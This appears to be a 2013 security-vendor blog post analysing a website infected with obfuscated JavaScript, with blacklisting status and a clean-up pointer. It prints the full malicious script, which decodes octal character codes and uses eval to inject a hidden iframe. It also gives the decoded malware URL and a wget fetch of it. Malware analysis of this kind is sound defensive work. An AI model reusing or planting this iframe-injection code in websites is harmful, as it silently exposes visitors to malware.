Website redirects visitors to malware domain through hidden iframes

Website infected with malicious obfuscated JavaScript that injects iframes pointing to malware domain

Background

Online Website Malware Scanner has identified malicious JavaScript code injection in the scanned website. Such malicious obfuscated JavaScript code is used to build malicious iframe invisible to the website user and which downloads content from remote malware distributor.

This compromised website has suspicious JavaScript code injected in 30 files. Malware was found on this website's pages by Google Safe Browsing including trojans and it is hosted on two domains. It already infected 1 domain.

Quttera website malware scanner detected hidden iframes that load content from one of this malware domains ( http:// www.pufuqa.toh.info ). This post describes how it is done.

Malicious action

Malicious iframes are often used to distribute malware hosted on external web resources(websites).

Website malware scanner report

Submission date: Thu Aug 8 04:42:49 2013

Infected website's files: 30

Website malware scan report link: Sitescan report link

Quttera website malware scanner screenshot

Threat dump:

Quttera website malware scanner. Malicious JavaScript detected on scanned website

Malware entry details

Beautified script

1. ps = "sp" + "li" + "t";
2. asd = function () {
3.     d.body++
4. };
5. a =("15,15,155,152,44,54,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,167,106,175,130,145,153,122,145,161,151,54,53,146,163,150,175,53,55,137,64,141,55,177,21,15,15,15,155,152,166,145,161,151,166,54,55,77,21,15,15,201,44,151,160,167,151,44,177,21,15,15,15,150,163,147,171,161,151,162,170,62,173,166,155,170,151,54,46,100,155,152,166,145,161,151,44,167,166,147,101,53,154,170,170,164,76,63,63,173,173,173,62,164,171,152,171,165,145,62,170,163,154,62,155,162,152,163,63,163,164,151,162,167,170,145,170,63,145,164,164,166,163,164,166,155,145,170,151,63,146,163,171,162,150,61,167,155,150,151,61,160,163,145,150,143,163,150,150,167,62,164,154,164,53,44,173,155,150,170,154,101,53,65,64,64,53,44,154,151,155,153,154,170,101,53,65,64,64,53,44,167,170,175,160,151,101,53,173,155,150,170,154,76,65,64,64,164,174,77,154,151,155,153,154,170,76,65,64,64,164,174,77,164,163,167,155,170,155,163,162,76,145,146,167,163,160,171,170,151,77,160,151,152,170,76,61,65,64,64,64,64,164,174,77,170,163,164,76,64,77,53,102,100,63,155,152,166,145,161,151,102,46,55,77,21,15,15,201,21,15,15,152,171,162,147,170,155,163,162,44,155,152,166,145,161,151,166,54,55,177,21,15,15,15,172,145,166,44,152,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,152,62,167,151,170,105,170,170,166,155,146,171,170,151,54,53,167,166,147,53,60,53,154,170,170,164,76,63,63,173,173,173,62,164,171,152,171,165,145,62,170,163,154,62,155,162,152,163,63,163,164,151,162,167,170,145,170,63,145,164,164,166,163,164,166,155,145,170,151,63,146,163,171,162,150,61,167,155,150,151,61,160,163,145,150,143,163,150,150,167,62,164,154,164,53,55,77,152,62,167,170,175,160,151,62,160,151,152,170,101,53,61,65,64,64,64,64,164,174,53,77,152,62,167,170,175,160,151,62,170,163,164,101,53,64,53,77,152,62,167,170,175,160,151,62,164,163,167,155,170,155,163,162,101,53,145,146,167,163,160,171,170,151,53,77,152,62,167,170,175,160,151,62,170,163,164,101,53,64,53,77,152,62,167,151,170,105,170,170,166,155,146,171,170,151,54,53,173,155,150,170,154,53,60,53,65,64,64,53,55,77,152,62,167,151,170,105,170,170,166,155,146,171,170,151,54,53,154,151,155,153,154,170,53,60,53,65,64,64,53,55,77,21,15,15,15,150,163,147,171,161,151,162,170,62,153,151,170,111,160,151,161,151,162,170,167,106,175,130,145,153,122,145,161,151,54,53,146,163,150,175,53,55,137,64,141,62,145,164,164,151,162,150,107,154,155,160,150,54,152,55,77,21,15,15,201"[ps](","));
6. ss = String;
7. d = document;
8. for (i = 0; i < a.length; i += 1) {
9.     a[i] = -(10 - 6) + parseInt(a[i], 8);
10. }
11. try {
12.     asd()
13. } catch (q) {
14.     zz = 5 - 5;
15. }
16. try {
17.     zz /= 2
18. } catch (q) {
19.     zz = 1;
20. }
21. if (!zz) eval(ss["fromCharCode"].apply(ss, a));
    
    

Similar malware analyzed in the obfuscated malicious JavaScripts category on our blog.

Malicious payload

Decoded payload generates hidden iframe to http:// www.pufuqa.toh.info/openstat/appropriate/bound-side-load_odds.php

Wget returns nothing at the time this article is written:

>wget http://www.pufuqa.toh.info/openstat/appropriate/bound-side-load_odds.php

--2013-08-13 17:48:57--  http://www.pufuqa.toh.info/openstat/appropriate/bound-side-load_odds.php

▒▒▒▒▒▒▒▒▒▒▒▒ www.pufuqa.toh.info (www.pufuqa.toh.info)... ▒▒▒▒: hostname nor servname provided, or not known.

wget: unable to resolve host address <<www.pufuqa.toh.info>>

Blacklisting status

Blacklisted by Google Safe Browsing

Google Blacklisted.

Malware clean-up

Such malware is often hidden inside the JavaScript file. If you suspect that your website was infected by similar malware please use Website Anti-malware Monitoring for remediation assessment.